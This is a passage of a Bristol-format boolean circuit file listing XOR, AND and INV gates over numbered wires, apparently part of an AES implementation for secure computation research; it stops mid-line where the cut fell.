1 4550 4551 34816 XOR +2 1 4621 4662 4599 AND +2 1 4610 4599 4560 XOR +1 1 4560 4556 INV +2 1 4556 4557 4666 XOR +1 1 4668 34814 INV +2 1 33367 33369 4708 XOR +2 1 33371 33373 4709 XOR +2 1 33368 4708 4710 XOR +2 1 33372 4710 4791 XOR +2 1 33371 4710 4788 XOR +2 1 33370 33372 4711 XOR +2 1 33366 33372 4715 XOR +2 1 4715 4710 4790 XOR +2 1 33370 33373 4802 XOR +2 1 4709 4715 4797 XOR +2 1 4708 4802 4794 XOR +2 1 33366 4794 4793 XOR +2 1 33367 33368 4725 XOR +2 1 4725 4797 4795 XOR +2 1 4802 4725 4798 XOR +2 1 33368 33370 4804 XOR +2 1 4709 4804 4789 XOR +2 1 33371 4715 4800 XOR +2 1 33367 4800 4796 XOR +2 1 33369 33368 4685 XOR +2 1 4711 4709 4671 XOR +2 1 4708 4671 4792 XOR +2 1 4711 33371 4670 XOR +2 1 33366 4670 4799 XOR +2 1 33373 33367 4803 XOR +2 1 33373 33368 4801 XOR +2 1 4794 4798 4787 AND +2 1 4787 4711 4714 XOR +2 1 4795 4793 4786 AND +2 1 4799 33366 4785 AND +2 1 4803 4788 4784 AND +2 1 4784 4709 4713 XOR +2 1 4800 4796 4783 AND +2 1 4797 4790 4782 AND +2 1 4802 4791 4781 AND +2 1 4781 4710 4712 XOR +2 1 4714 4712 4718 XOR +2 1 33373 4718 4723 XOR +2 1 4804 4789 4780 AND +2 1 4780 4786 4732 XOR +2 1 4732 4723 4778 XOR +2 1 4780 4781 4684 XOR +2 1 4684 4685 4731 XOR +2 1 4731 4713 4730 XOR +2 1 4783 4730 4777 XOR +2 1 4801 4792 4779 AND +2 1 4779 4782 4733 XOR +2 1 4779 4785 4737 XOR +2 1 4737 4709 4724 XOR +2 1 4732 4724 4775 XOR +2 1 4780 4733 4727 XOR +2 1 4713 4733 4687 XOR +2 1 4687 4712 4776 XOR +2 1 4718 4737 4686 XOR +2 1 33371 4686 4729 XOR +2 1 4783 4727 4683 XOR +2 1 33367 4683 4770 XOR +2 1 4778 4777 4774 AND +2 1 4774 4729 4769 XOR +2 1 4774 4776 4773 XOR +2 1 4775 4773 4772 AND +2 1 4772 4729 4771 XOR +2 1 4772 4784 4678 XOR +2 1 4678 4714 4674 XOR +2 1 33373 4674 4677 XOR +2 1 4772 4723 4675 XOR +2 1 33371 4674 4673 XOR +2 1 4769 4770 4768 AND +2 1 4768 4776 4767 XOR +2 1 4774 4768 4766 XOR +2 1 4768 4727 4682 XOR +2 1 4768 4785 4681 XOR +2 1 4681 4782 4676 XOR +2 1 4676 4677 4759 XOR +2 1 4776 4766 4765 AND +2 1 4765 4773 4763 XOR +2 1 4765 4783 4736 XOR +2 1 4736 4730 4757 XOR +2 1 33367 4736 4719 XOR +2 1 4719 4682 4764 XOR +2 1 4771 4763 4762 AND +2 1 4762 4732 4722 XOR +2 1 4722 4724 4761 XOR +2 1 4762 4786 4680 XOR +2 1 4719 4680 4672 XOR +2 1 4709 4672 4679 XOR +2 1 4676 4679 4760 XOR +2 1 4722 4675 4758 XOR +2 1 4672 4673 4756 XOR +2 1 4757 4794 4755 AND +2 1 4764 4793 4754 AND +2 1 4767 33366 4753 AND +2 1 4753 4755 4735 XOR +2 1 4758 4788 4752 AND +2 1 4761 4800 4751 AND +2 1 4771 4790 4750 AND +2 1 4750 4751 4689 XOR +2 1 4759 4791 4749 AND +2 1 4756 4789 4748 AND +2 1 4748 4751 4704 XOR +1 1 4704 4701 INV +2 1 4748 4749 4700 XOR +2 1 4760 4792 4747 AND +2 1 4757 4798 4746 AND +2 1 4764 4795 4745 AND +2 1 4767 4799 4744 AND +2 1 4758 4803 4743 AND +2 1 4743 4747 4720 XOR +2 1 4752 4743 4705 XOR +1 1 4720 4698 INV +2 1 4761 4796 4742 AND +2 1 4750 4742 4707 XOR +2 1 4771 4797 4741 AND +2 1 4698 4741 4697 XOR +2 1 4697 4735 4693 XOR +2 1 4759 4802 4740 AND +2 1 4740 4693 4696 XOR +2 1 4756 4804 4739 AND +2 1 4739 4740 4734 XOR +2 1 4745 4734 4716 XOR +2 1 4746 4716 4717 XOR +2 1 4754 4717 4721 XOR +2 1 4755 4721 4726 XOR +2 1 4707 4734 4703 XOR +2 1 4735 4703 4706 XOR +2 1 4705 4706 4808 XOR +2 1 4698 4703 4702 XOR +2 1 4701 4702 4807 XOR +2 1 4726 4700 4806 XOR +2 1 4716 4693 4692 XOR +2 1 4753 4721 4690 XOR +2 1 4689 4690 34802 XOR +2 1 4760 4801 4738 AND +2 1 4749 4738 4699 XOR +1 1 4699 4695 INV +2 1 4695 4696 4805 XOR +1 1 4807 34800 INV +2 1 33375 33377 4847 XOR +2 1 33379 33381 4848 XOR +2 1 33376 4847 4849 XOR +2 1 33380 4849 4930 XOR +2 1 33379 4849 4927 XOR +2 1 33378 33380 4850 XOR +2 1 33374 33380 4854 XOR +2 1 4854 4849 4929 XOR +2 1 33378 33381 4941 XOR +2 1 4848 4854 4936 XOR +2 1 4847 4941 4933 XOR +2 1 33374 4933 4932 XOR +2 1 33375 33376 4864 XOR +2 1 4864 4936 4934 XOR +2 1 4941 4864 4937 XOR +2 1 33376 33378 4943 XOR +2 1 4848 4943 4928 XOR +2 1 33379 4854 4939 XOR +2 1 33375 4939 4935 XOR +2 1 33377 33376 4824 XOR +2 1 4850 4848 4810 XOR +2 1 4847 4810 4931 XOR +2 1 4850 33379 4809 XOR +2 1 33374 4809 4938 XOR +2 1 33381 33375 4942 XOR +2 1 33381 33376 4940 XOR +2 1 4933 4937 4926 AND +2 1 4926 4850 4853 XOR +2 1 4934 4932 4925 AND +2 1 4938 33374 4924 AND +2 1 4942 4927 4923 AND +2 1 4923 4848 4852 XOR +2 1 4939 4935 4922 AND +2 1 4936 4929 4921 AND +2 1 4941 4930 4920 AND +2 1 4920 4849 4851 XOR +2 1 4853 4851 4857 XOR +2 1 33381 4857 4862 XOR +2 1 4943 4928 4919 AND +2 1 4919 4925 4871 XOR +2 1 4871 4862 4917 XOR +2 1 4919 4920 4823 XOR +2 1 4823 4824 4870 XOR +2 1 4870 4852 4869 XOR +2 1 4922 4869 4916 XOR +2 1 4940 4931 4918 AND +2 1 4918 4921 4872 XOR +2 1 4918 4924 4876 XOR +2 1 4876 4848 4863 XOR +2 1 4871 4863 4914 XOR +2 1 4919 4872 4866 XOR +2 1 4852 4872 4826 XOR +2 1 4826 4851 4915 XOR +2 1 4857 4876 4825 XOR +2 1 33379 4825 4868 XOR +2 1 4922 4866 4822 XOR +2 1 33375 4822 4909 XOR +2 1 4917 4916 4913 AND +2 1 4913 4868 4908 XOR +2 1 4913 4915 4912 XOR +2 1 4914 4912 4911 AND +2 1 4911 4868 4910 XOR +2 1 4911 4923 4817 XOR +2 1 4817 4853 4813 XOR +2 1 33381 4813 4816 XOR +2 1 4911 4862 4814 XOR +2 1 33379 4813 4812 XOR +2 1 4908 4909 4907 AND +2 1 4907 4915 4906 XOR +2 1 4913 4907 4905 XOR +2 1 4907 4866 4821 XOR +2 1 4907 4924 4820 XOR +2 1 4820 4921 4815 XOR +2 1 4815 4816 4898 XOR +2 1 4915 4905 4904 AND +2 1 4904 4912 4902 XOR +2 1 4904 4922 4875 XOR +2 1 4875 4869 4896 XOR +2 1 33375 4875 4858 XOR +2 1 4858 4821 4903 XOR +2 1 4910 4902 4901 AND +2 1 4901 4871 4861 XOR +2 1 4861 4863 4900 XOR +2 1 4901 4925 4819 XOR +2 1 4858 4819 4811 XOR +2 1 4848 4811 4818 XOR +2 1 4815 4818 4899 XOR +2 1 4861 4814 4897 XOR +2 1 4811 4812 4895 XOR +2 1 4896 4933 4894 AND +2 1 4903 4932 4893 AND +2 1 4906 33374 4892 AND +2 1 4892 4894 4874 XOR +2 1 4897 4927 4891 AND +2 1 4900 4939 4890 AND +2 1 4910 4929 4889 AND +2 1 4889 4890 4828 XOR +2 1 4898 4930 4888 AND +2 1 4895 4928 4887 AND +2 1 4887 4890 4843 XOR +1 1 4843 4840 INV +2 1 4887 4888 4839 XOR +2 1 4899 4931 4886 AND +2 1 4896 4937 4885 AND +2 1 4903 4934 4884 AND +2 1 4906 4938 4883 AND +2 1 4897 4942 4882 AND +2 1 4882 4886 4859 XOR +2 1 4891 4882 4844 XOR +1 1 4859 4837 INV +2 1 4900 4935 4881 AND +2 1 4889 4881 4846 XOR +2 1 4910 4936 4880 AND +2 1 4837 4880 4836 XOR +2 1 4836 4874 4832 XOR +2 1 4898 4941 4879 AND +2 1 4879 4832 4835 XOR +2 1 4895 4943 4878 AND +2 1 4878 4879 4873 XOR +2 1 4884 4873 4855 XOR +2 1 4885 4855 4856 XOR +2 1 4893 4856 4860 XOR +2 1 4894 4860 4865 XOR +2 1 4846 4873 4842 XOR +2 1 4874 4842 4845 XOR +2 1 4844 4845 4947 XOR +2 1 4837 4842 4841 XOR +2 1 4840 4841 4946 XOR +2 1 4865 4839 4945 XOR +2 1 4855 4832 4831 XOR +2 1 4892 4860 4829 XOR +2 1 4828 4829 34860 XOR +2 1 4899 4940 4877 AND +2 1 4888 4877 4838 XOR +1 1 4838 4834 INV +2 1 4834 4835 4944 XOR +2 1 34811 34816 5009 XOR +2 1 34802 34806 4984 XOR +2 1 34791 34795 4974 XOR +1 1 4974 5092 INV +1 1 5009 5145 INV +2 1 34802 34795 5252 XOR +1 1 34816 5283 INV +2 1 34820 5283 5271 XOR +2 1 34852 34851 5291 XOR +2 1 17 19 13434 XOR +2 1 21 23 13435 XOR +2 1 18 13434 13436 XOR +2 1 22 13436 13518 XOR +2 1 21 13436 13515 XOR +2 1 20 22 13437 XOR +2 1 16 22 13441 XOR +2 1 13441 13436 13517 XOR +2 1 20 23 13529 XOR +2 1 13435 13441 13524 XOR +2 1 13434 13529 13521 XOR +2 1 16 13521 13520 XOR +2 1 17 18 13452 XOR +2 1 13452 13524 13522 XOR +2 1 13529 13452 13525 XOR +2 1 18 20 13531 XOR +2 1 13435 13531 13516 XOR +2 1 21 13441 13527 XOR +2 1 17 13527 13523 XOR +2 1 19 18 13411 XOR +2 1 13437 13435 13397 XOR +2 1 13434 13397 13519 XOR +2 1 13437 21 13396 XOR +2 1 16 13396 13526 XOR +2 1 23 17 13530 XOR +2 1 23 18 13528 XOR +2 1 13521 13525 13514 AND +2 1 13514 13437 13440 XOR +2 1 13522 13520 13513 AND +2 1 13526 16 13512 AND +2 1 13530 13515 13511 AND +2 1 13511 13435 13439 XOR +2 1 13527 13523 13510 AND +2 1 13524 13517 13509 AND +2 1 13529 13518 13508 AND +2 1 13508 13436 13438 XOR +2 1 13440 13438 13444 XOR +2 1 23 13444 13450 XOR +2 1 13531 13516 13507 AND +2 1 13507 13513 13459 XOR +2 1 13459 13450 13505 XOR +2 1 13507 13508 13410 XOR +2 1 13410 13411 13458 XOR +2 1 13458 13439 13457 XOR +2 1 13510 13457 13504 XOR +2 1 13528 13519 13506 AND +2 1 13506 13509 13460 XOR +2 1 13506 13512 13464 XOR +2 1 13464 13435 13451 XOR +2 1 13459 13451 13502 XOR +2 1 13507 13460 13454 XOR +2 1 13439 13460 13413 XOR +2 1 13413 13438 13503 XOR +2 1 13444 13464 13412 XOR +2 1 21 13412 13456 XOR +2 1 13510 13454 13409 XOR +2 1 17 13409 13497 XOR +2 1 13505 13504 13501 AND +2 1 13501 13456 13496 XOR +2 1 13501 13503 13500 XOR +2 1 13502 13500 13499 AND +2 1 13499 13456 13498 XOR +2 1 13499 13511 13404 XOR +2 1 13404 13440 13400 XOR +2 1 23 13400 13403 XOR +2 1 13499 13450 13401 XOR +2 1 21 13400 13399 XOR +2 1 13496 13497 13495 AND +2 1 13495 13503 13494 XOR +2 1 13501 13495 13493 XOR +2 1 13495 13454 13408 XOR +2 1 13495 13512 13407 XOR +2 1 13407 13509 13402 XOR +2 1 13402 13403 13486 XOR +2 1 13503 13493 13492 AND +2 1 13492 13500 13490 XOR +2 1 13492 13510 13463 XOR +2 1 13463 13457 13484 XOR +2 1 17 13463 13445 XOR +2 1 13445 13408 13491 XOR +2 1 13498 13490 13489 AND +2 1 13489 13459 13449 XOR +2 1 13449 13451 13488 XOR +2 1 13489 13513 13406 XOR +2 1 13445 13406 13398 XOR +2 1 13435 13398 13405 XOR +2 1 13402 13405 13487 XOR +2 1 13449 13401 13485 XOR +2 1 13398 13399 13483 XOR +2 1 13484 13521 13482 AND +2 1 13491 13520 13481 AND +2 1 13494 16 13480 AND +2 1 13480 13482 13462 XOR +2 1 13485 13515 13479 AND +2 1 13488 13527 13478 AND +2 1 13478 13479 13447 XOR +2 1 13498 13517 13477 AND +2 1 13477 13478 13415 XOR +2 1 13486 13518 13476 AND +2 1 13483 13516 13475 AND +2 1 13475 13447 13455 XOR +2 1 13475 13478 13430 XOR +1 1 13430 13427 INV +2 1 13475 13476 13426 XOR +2 1 13476 13455 13414 XOR +2 1 13487 13519 13474 AND +2 1 13484 13525 13473 AND +2 1 13491 13522 13472 AND +2 1 13494 13526 13471 AND +2 1 13471 13455 13420 XOR +1 1 13420 13417 INV +2 1 13485 13530 13470 AND +2 1 13470 13474 13446 XOR +2 1 13479 13470 13431 XOR +1 1 13446 13424 INV +2 1 13488 13523 13469 AND +2 1 13477 13469 13433 XOR +2 1 13498 13524 13468 AND +2 1 13424 13468 13423 XOR +2 1 13423 13462 13419 XOR +2 1 13486 13529 13467 AND +2 1 13467 13419 13422 XOR +2 1 13483 13531 13466 AND +2 1 13466 13467 13461 XOR +2 1 13472 13461 13442 XOR +2 1 13473 13442 13443 XOR +2 1 13481 13443 13448 XOR +2 1 13482 13448 13453 XOR +2 1 13447 13453 36499 XOR +2 1 36499 124 387 XOR +2 1 92 387 419 XOR +2 1 60 419 451 XOR +2 1 28 451 483 XOR +2 1 13433 13461 13429 XOR +2 1 13462 13429 13432 XOR +2 1 13431 13432 13535 XOR +2 1 13424 13429 13428 XOR +2 1 13427 13428 13534 XOR +2 1 13453 13426 13533 XOR +2 1 13442 13419 13418 XOR +2 1 13417 13418 36497 XOR +2 1 36497 122 389 XOR +2 1 90 389 421 XOR +2 1 58 421 453 XOR +2 1 26 453 485 XOR +2 1 13480 13448 13416 XOR +2 1 13415 13416 36498 XOR +2 1 36498 123 388 XOR +2 1 91 388 420 XOR +2 1 59 420 452 XOR +2 1 27 452 484 XOR +2 1 13443 13414 36502 XOR +2 1 36502 127 384 XOR +2 1 95 384 416 XOR +2 1 63 416 448 XOR +2 1 31 448 480 XOR +2 1 13487 13528 13465 AND +2 1 13476 13465 13425 XOR +1 1 13425 13421 INV +2 1 13421 13422 13532 XOR +1 1 13535 36495 INV +2 1 36495 120 1536 XOR +1 1 1536 391 INV +2 1 88 1536 1537 XOR +1 1 1537 423 INV +2 1 56 1537 1538 XOR +1 1 1538 455 INV +2 1 24 1538 1539 XOR +1 1 1539 487 INV +1 1 13534 36496 INV +2 1 36496 121 390 XOR +2 1 89 390 422 XOR +2 1 57 422 454 XOR +2 1 25 454 486 XOR +1 1 13533 36501 INV +2 1 36501 126 385 XOR +2 1 94 385 417 XOR +2 1 62 417 449 XOR +2 1 30 449 481 XOR +1 1 13532 36500 INV +2 1 36500 125 386 XOR +2 1 93 386 418 XOR +2 1 61 418 450 XOR +2 1 29 450 482 XOR +2 1 33335 33337 15385 XOR +2 1 33339 33341 15386 XOR +2 1 33336 15385 15387 XOR +2 1 33340 15387 15468 XOR +2 1 33339 15387 15465 XOR +2 1 33338 33340 15388 XOR +2 1 33334 33340 15392 XOR +2 1 15392 15387 15467 XOR +2 1 33338 33341 15479 XOR +2 1 15386 15392 15474 XOR +2 1 15385 15479 15471 XOR +2 1 33334 15471 15470 XOR +2 1 33335 33336 15402 XOR +2 1 15402 15474 15472 XOR +2 1 15479 15402 15475 XOR +2 1 33336 33338 15481 XOR +2 1 15386 15481 15466 XOR +2 1 33339 15392 15477 XOR +2 1 33335 15477 15473 XOR +2 1 33337 33336 15362 XOR +2 1 15388 15386 15348 XOR +2 1 15385 15348 15469 XOR +2 1 15388 33339 15347 XOR +2 1 33334 15347 15476 XOR +2 1 33341 33335 15480 XOR +2 1 33341 33336 15478 XOR +2 1 15471 15475 15464 AND +2 1 15464 15388 15391 XOR +2 1 15472 15470 15463 AND +2 1 15476 33334 15462 AND +2 1 15480 15465 15461 AND +2 1 15461 15386 15390 XOR +2 1 15477 15473 15460 AND +2 1 15474 15467 15459 AND +2 1 15479 15468 15458 AND +2 1 15458 15387 15389 XOR +2 1 15391 15389 15395 XOR +2 1 33341 15395 15400 XOR +2 1 15481 15466 15457 AND +2 1 15457 15463 15409 XOR +2 1 15409 15400 15455 XOR +2 1 15457 15458 15361 XOR +2 1 15361 15362 15408 XOR +2 1 15408 15390 15407 XOR +2 1 15460 15407 15454 XOR +2 1 15478 15469 15456 AND +2 1 15456 15459 15410 XOR +2 1 15456 15462 15414 XOR +2 1 15414 15386 15401 XOR +2 1 15409 15401 15452 XOR +2 1 15457 15410 15404 XOR +2 1 15390 15410 15364 XOR +2 1 15364 15389 15453 XOR +2 1 15395 15414 15363 XOR +2 1 33339 15363 15406 XOR +2 1 15460 15404 15360 XOR +2 1 33335 15360 15447 XOR +2 1 15455 15454 15451 AND +2 1 15451 15406 15446 XOR +2 1 15451 15453 15450 XOR +2 1 15452 15450 15449 AND +2 1 15449 15406 15448 XOR +2 1 15449 15461 15355 XOR +2 1 15355 15391 15351 XOR +2 1 33341 15351 15354 XOR +2 1 15449 15400 15352 XOR +2 1 33339 15351 15350 XOR +2 1 15446 15447 15445 AND +2 1 15445 15453 15444 XOR +2 1 15451 15445 15443 XOR +2 1 15445 15404 15359 XOR +2 1 15445 15462 15358 XOR +2 1 15358 15459 15353 XOR +2 1 15353 15354 15436 XOR +2 1 15453 15443 15442 AND +2 1 15442 15450 15440 XOR +2 1 15442 15460 15413 XOR +2 1 15413 15407 15434 XOR +2 1 33335 15413 15396 XOR +2 1 15396 15359 15441 XOR +2 1 15448 15440 15439 AND +2 1 15439 15409 15399 XOR +2 1 15399 15401 15438 XOR +2 1 15439 15463 15357 XOR +2 1 15396 15357 15349 XOR +2 1 15386 15349 15356 XOR +2 1 15353 15356 15437 XOR +2 1 15399 15352 15435 XOR +2 1 15349 15350 15433 XOR +2 1 15434 15471 15432 AND +2 1 15441 15470 15431 AND +2 1 15444 33334 15430 AND +2 1 15430 15432 15412 XOR +2 1 15435 15465 15429 AND +2 1 15438 15477 15428 AND +2 1 15448 15467 15427 AND +2 1 15427 15428 15366 XOR +2 1 15436 15468 15426 AND +2 1 15433 15466 15425 AND +2 1 15425 15428 15381 XOR +1 1 15381 15378 INV +2 1 15425 15426 15377 XOR +2 1 15437 15469 15424 AND +2 1 15434 15475 15423 AND +2 1 15441 15472 15422 AND +2 1 15444 15476 15421 AND +2 1 15435 15480 15420 AND +2 1 15420 15424 15397 XOR +2 1 15429 15420 15382 XOR +1 1 15397 15375 INV +2 1 15438 15473 15419 AND +2 1 15427 15419 15384 XOR +2 1 15448 15474 15418 AND +2 1 15375 15418 15374 XOR +2 1 15374 15412 15370 XOR +2 1 15436 15479 15417 AND +2 1 15417 15370 15373 XOR +2 1 15433 15481 15416 AND +2 1 15416 15417 15411 XOR +2 1 15422 15411 15393 XOR +2 1 15423 15393 15394 XOR +2 1 15431 15394 15398 XOR +2 1 15432 15398 15403 XOR +2 1 15384 15411 15380 XOR +2 1 15412 15380 15383 XOR +2 1 15382 15383 15485 XOR +2 1 15375 15380 15379 XOR +2 1 15378 15379 15484 XOR +2 1 15403 15377 15483 XOR +2 1 15393 15370 15369 XOR +2 1 15430 15398 15367 XOR +2 1 15366 15367 34856 XOR +2 1 34852 34856 5025 XOR +2 1 15437 15478 15415 AND +2 1 15426 15415 15376 XOR +1 1 15376 15372 INV +2 1 15372 15373 15482 XOR +2 1 33303 33305 15524 XOR +2 1 33307 33309 15525 XOR +2 1 33304 15524 15526 XOR +2 1 33308 15526 15607 XOR +2 1 33307 15526 15604 XOR +2 1 33306 33308 15527 XOR +2 1 33302 33308 15531 XOR +2 1 15531 15526 15606 XOR +2 1 33306 33309 15618 XOR +2 1 15525 15531 15613 XOR +2 1 15524 15618 15610 XOR +2 1 33302 15610 15609 XOR +2 1 33303 33304 15541 XOR +2 1 15541 15613 15611 XOR +2 1 15618 15541 15614 XOR +2 1 33304 33306 15620 XOR +2 1 15525 15620 15605 XOR +2 1 33307 15531 15616 XOR +2 1 33303 15616 15612 XOR +2 1 33305 33304 15501 XOR +2 1 15527 15525 15487 XOR +2 1 15524 15487 15608 XOR +2 1 15527 33307 15486 XOR +2 1 33302 15486 15615 XOR +2 1 33309 33303 15619 XOR +2 1 33309 33304 15617 XOR +2 1 15610 15614 15603 AND +2 1 15603 15527 15530 XOR +2 1 15611 15609 15602 AND +2 1 15615 33302 15601 AND +2 1 15619 15604 15600 AND +2 1 15600 15525 15529 XOR +2 1 15616 15612 15599 AND +2 1 15613 15606 15598 AND +2 1 15618 15607 15597 AND +2 1 15597 15526 15528 XOR +2 1 15530 15528 15534 XOR +2 1 33309 15534 15539 XOR +2 1 15620 15605 15596 AND +2 1 15596 15602 15548 XOR +2 1 15548 15539 15594 XOR +2 1 15596 15597 15500 XOR +2 1 15500 15501 15547 XOR +2 1 15547 15529 15546 XOR +2 1 15599 15546 15593 XOR +2 1 15617 15608 15595 AND +2 1 15595 15598 15549 XOR +2 1 15595 15601 15553 XOR +2 1 15553 15525 15540 XOR +2 1 15548 15540 15591 XOR +2 1 15596 15549 15543 XOR +2 1 15529 15549 15503 XOR +2 1 15503 15528 15592 XOR +2 1 15534 15553 15502 XOR +2 1 33307 15502 15545 XOR +2 1 15599 15543 15499 XOR +2 1 33303 15499 15586 XOR +2 1 15594 15593 15590 AND +2 1 15590 15545 15585 XOR +2 1 15590 15592 15589 XOR +2 1 15591 15589 15588 AND +2 1 15588 15545 15587 XOR +2 1 15588 15600 15494 XOR +2 1 15494 15530 15490 XOR +2 1 33309 15490 15493 XOR +2 1 15588 15539 15491 XOR +2 1 33307 15490 15489 XOR +2 1 15585 15586 15584 AND +2 1 15584 15592 15583 XOR +2 1 15590 15584 15582 XOR +2 1 15584 15543 15498 XOR +2 1 15584 15601 15497 XOR +2 1 15497 15598 15492 XOR +2 1 15492 15493 15575 XOR +2 1 15592 15582 15581 AND +2 1 15581 15589 15579 XOR +2 1 15581 15599 15552 XOR +2 1 15552 15546 15573 XOR +2 1 33303 15552 15535 XOR +2 1 15535 15498 15580 XOR +2 1 15587 15579 15578 AND +2 1 15578 15548 15538 XOR +2 1 15538 15540 15577 XOR +2 1 15578 15602 15496 XOR +2 1 15535 15496 15488 XOR +2 1 15525 15488 15495 XOR +2 1 15492 15495 15576 XOR +2 1 15538 15491 15574 XOR +2 1 15488 15489 15572 XOR +2 1 15573 15610 15571 AND +2 1 15580 15609 15570 AND +2 1 15583 33302 15569 AND +2 1 15569 15571 15551 XOR +2 1 15574 15604 15568 AND +2 1 15577 15616 15567 AND +2 1 15587 15606 15566 AND +2 1 15566 15567 15505 XOR +2 1 15575 15607 15565 AND +2 1 15572 15605 15564 AND +2 1 15564 15567 15520 XOR +1 1 15520 15517 INV +2 1 15564 15565 15516 XOR +2 1 15576 15608 15563 AND +2 1 15573 15614 15562 AND +2 1 15580 15611 15561 AND +2 1 15583 15615 15560 AND +2 1 15574 15619 15559 AND +2 1 15559 15563 15536 XOR +2 1 15568 15559 15521 XOR +1 1 15536 15514 INV +2 1 15577 15612 15558 AND +2 1 15566 15558 15523 XOR +2 1 15587 15613 15557 AND +2 1 15514 15557 15513 XOR +2 1 15513 15551 15509 XOR +2 1 15575 15618 15556 AND +2 1 15556 15509 15512 XOR +2 1 15572 15620 15555 AND +2 1 15555 15556 15550 XOR +2 1 15561 15550 15532 XOR +2 1 15562 15532 15533 XOR +2 1 15570 15533 15537 XOR +2 1 15571 15537 15542 XOR +2 1 15523 15550 15519 XOR +2 1 15551 15519 15522 XOR +2 1 15521 15522 15624 XOR +2 1 15514 15519 15518 XOR +2 1 15517 15518 15623 XOR +2 1 15542 15516 15622 XOR +2 1 15532 15509 15508 XOR +2 1 15569 15537 15506 XOR +2 1 15505 15506 34839 XOR +2 1 34839 34843 5003 XOR +2 1 15576 15617 15554 AND +2 1 15565 15554 15515 XOR +1 1 15515 15511 INV +2 1 15511 15512 15621 XOR +2 1 9 11 16219 XOR +2 1 13 15 16220 XOR +2 1 10 16219 16221 XOR +2 1 14 16221 16302 XOR +2 1 13 16221 16299 XOR +2 1 12 14 16222 XOR +2 1 8 14 16226 XOR +2 1 16226 16221 16301 XOR +2 1 12 15 16313 XOR +2 1 16220 16226 16308 XOR +2 1 16219 16313 16305 XOR +2 1 8 16305 16304 XOR +2 1 9 10 16236 XOR +2 1 16236 16308 16306 XOR +2 1 16313 16236 16309 XOR +2 1 10 12 16315 XOR +2 1 16220 16315 16300 XOR +2 1 13 16226 16311 XOR +2 1 9 16311 16307 XOR +2 1 11 10 16196 XOR +2 1 16222 16220 16182 XOR +2 1 16219 16182 16303 XOR +2 1 16222 13 16181 XOR +2 1 8 16181 16310 XOR +2 1 15 9 16314 XOR +2 1 15 10 16312 XOR +2 1 16305 16309 16298 AND +2 1 16298 16222 16225 XOR +2 1 16306 16304 16297 AND +2 1 16310 8 16296 AND +2 1 16314 16299 16295 AND +2 1 16295 16220 16224 XOR +2 1 16311 16307 16294 AND +2 1 16308 16301 16293 AND +2 1 16313 16302 16292 AND +2 1 16292 16221 16223 XOR +2 1 16225 16223 16229 XOR +2 1 15 16229 16234 XOR +2 1 16315 16300 16291 AND +2 1 16291 16297 16243 XOR +2 1 16243 16234 16289 XOR +2 1 16291 16292 16195 XOR +2 1 16195 16196 16242 XOR +2 1 16242 16224 16241 XOR +2 1 16294 16241 16288 XOR +2 1 16312 16303 16290 AND +2 1 16290 16293 16244 XOR +2 1 16290 16296 16248 XOR +2 1 16248 16220 16235 XOR +2 1 16243 16235 16286 XOR +2 1 16291 16244 16238 XOR +2 1 16224 16244 16198 XOR +2 1 16198 16223 16287 XOR +2 1 16229 16248 16197 XOR +2 1 13 16197 16240 XOR +2 1 16294 16238 16194 XOR +2 1 9 16194 16281 XOR +2 1 16289 16288 16285 AND +2 1 16285 16240 16280 XOR +2 1 16285 16287 16284 XOR +2 1 16286 16284 16283 AND +2 1 16283 16240 16282 XOR +2 1 16283 16295 16189 XOR +2 1 16189 16225 16185 XOR +2 1 15 16185 16188 XOR +2 1 16283 16234 16186 XOR +2 1 13 16185 16184 XOR +2 1 16280 16281 16279 AND +2 1 16279 16287 16278 XOR +2 1 16285 16279 16277 XOR +2 1 16279 16238 16193 XOR +2 1 16279 16296 16192 XOR +2 1 16192 16293 16187 XOR +2 1 16187 16188 16270 XOR +2 1 16287 16277 16276 AND +2 1 16276 16284 16274 XOR +2 1 16276 16294 16247 XOR +2 1 16247 16241 16268 XOR +2 1 9 16247 16230 XOR +2 1 16230 16193 16275 XOR +2 1 16282 16274 16273 AND +2 1 16273 16243 16233 XOR +2 1 16233 16235 16272 XOR +2 1 16273 16297 16191 XOR +2 1 16230 16191 16183 XOR +2 1 16220 16183 16190 XOR +2 1 16187 16190 16271 XOR +2 1 16233 16186 16269 XOR +2 1 16183 16184 16267 XOR +2 1 16268 16305 16266 AND +2 1 16275 16304 16265 AND +2 1 16278 8 16264 AND +2 1 16264 16266 16246 XOR +2 1 16269 16299 16263 AND +2 1 16272 16311 16262 AND +2 1 16282 16301 16261 AND +2 1 16261 16262 16200 XOR +2 1 16270 16302 16260 AND +2 1 16267 16300 16259 AND +2 1 16259 16262 16215 XOR +1 1 16215 16212 INV +2 1 16259 16260 16211 XOR +2 1 16271 16303 16258 AND +2 1 16268 16309 16257 AND +2 1 16275 16306 16256 AND +2 1 16278 16310 16255 AND +2 1 16269 16314 16254 AND +2 1 16254 16258 16231 XOR +2 1 16263 16254 16216 XOR +1 1 16231 16209 INV +2 1 16272 16307 16253 AND +2 1 16261 16253 16218 XOR +2 1 16282 16308 16252 AND +2 1 16209 16252 16208 XOR +2 1 16208 16246 16204 XOR +2 1 16270 16313 16251 AND +2 1 16251 16204 16207 XOR +2 1 16267 16315 16250 AND +2 1 16250 16251 16245 XOR +2 1 16256 16245 16227 XOR +2 1 16257 16227 16228 XOR +2 1 16265 16228 16232 XOR +2 1 16266 16232 16237 XOR +2 1 16218 16245 16214 XOR +2 1 16246 16214 16217 XOR +2 1 16216 16217 16319 XOR +2 1 16209 16214 16213 XOR +2 1 16212 16213 16318 XOR +2 1 16237 16211 16317 XOR +2 1 16227 16204 16203 XOR +2 1 16264 16232 16201 XOR +2 1 16200 16201 36490 XOR +2 1 36490 115 396 XOR +2 1 83 396 428 XOR +2 1 51 428 460 XOR +2 1 19 460 492 XOR +2 1 16271 16312 16249 AND +2 1 16260 16249 16210 XOR +1 1 16210 16206 INV +2 1 16206 16207 16316 XOR +1 1 16319 36487 INV +2 1 36487 112 399 XOR +2 1 80 399 431 XOR +2 1 48 431 463 XOR +2 1 16 463 495 XOR +1 1 16318 36488 INV +2 1 36488 113 398 XOR +2 1 81 398 430 XOR +2 1 49 430 462 XOR +2 1 17 462 494 XOR +2 1 494 492 13294 XOR +1 1 16317 36493 INV +2 1 36493 118 393 XOR +2 1 86 393 425 XOR +2 1 54 425 457 XOR +2 1 22 457 489 XOR +2 1 495 489 13301 XOR +1 1 16316 36492 INV +2 1 36492 117 394 XOR +2 1 85 394 426 XOR +2 1 53 426 458 XOR +2 1 21 458 490 XOR +2 1 490 13301 13387 XOR +2 1 494 13387 13383 XOR +2 1 13387 13383 13370 AND +2 1 33311 33313 21084 XOR +2 1 33315 33317 21085 XOR +2 1 33312 21084 21086 XOR +2 1 33316 21086 21167 XOR +2 1 33315 